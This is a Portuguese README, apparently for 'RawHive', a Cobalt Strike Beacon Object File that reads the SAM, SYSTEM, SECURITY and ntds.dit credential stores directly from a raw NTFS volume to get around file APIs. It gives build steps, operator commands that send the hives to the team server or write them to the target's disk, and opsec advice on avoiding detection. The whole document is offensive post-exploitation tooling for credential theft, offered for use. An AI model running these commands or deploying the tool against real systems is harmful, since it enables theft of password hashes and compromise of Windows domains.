
Cobalt Strike BOF que extrai hives do registro do Windows diretamente de um volume NTFS bruto, analisando metadados NTFS e lendo dados de arquivo diretamente do disco.
RawHive é um BOF do Cobalt Strike para extrair hives selecionados do registro do Windows diretamente de um volume NTFS bruto. Ele ignora as APIs de arquivo normais, percorre os metadados do NTFS para encontrar os registros de arquivo alvo e lê os bytes diretamente do disco.
Alvos:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (somente controladores de domínio)Qualquer letra de unidade NTFS local funciona; o padrão é C:.
\\.\C:) e lê o setor de boot para localizar o $MFT.Windows, System32, config e os arquivos alvo, com uma varredura limitada do MFT como fallback.x86_64-w64-mingw32-gcc e make para compilar.make
Compila dist/rawhive.x64.o. O rawhive.cna carrega o objeto de dist/, então recompile após alterar rawhive.c.
O modo download é o padrão: as hives são lidas diretamente do volume bruto e enviadas ao team server pela API BeaconDownload. Nada toca o disco do alvo.
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
O modo disk-write salva arquivos .tmp em um diretório no alvo. Observe que isso toca o disco e pode não ser opsec safe; prefira o modo download, a menos que você precise especificamente que os arquivos sejam gravados localmente.
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
O volume pode ser escrito como C, c ou C:. O diretório de saída já deve existir.
Os arquivos são nomeados <host>_<timestamp>_<hive>.tmp:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
No modo download, eles aparecem na bandeja de downloads do Cobalt Strike; no modo disk-write, eles ficam no diretório de saída especificado.
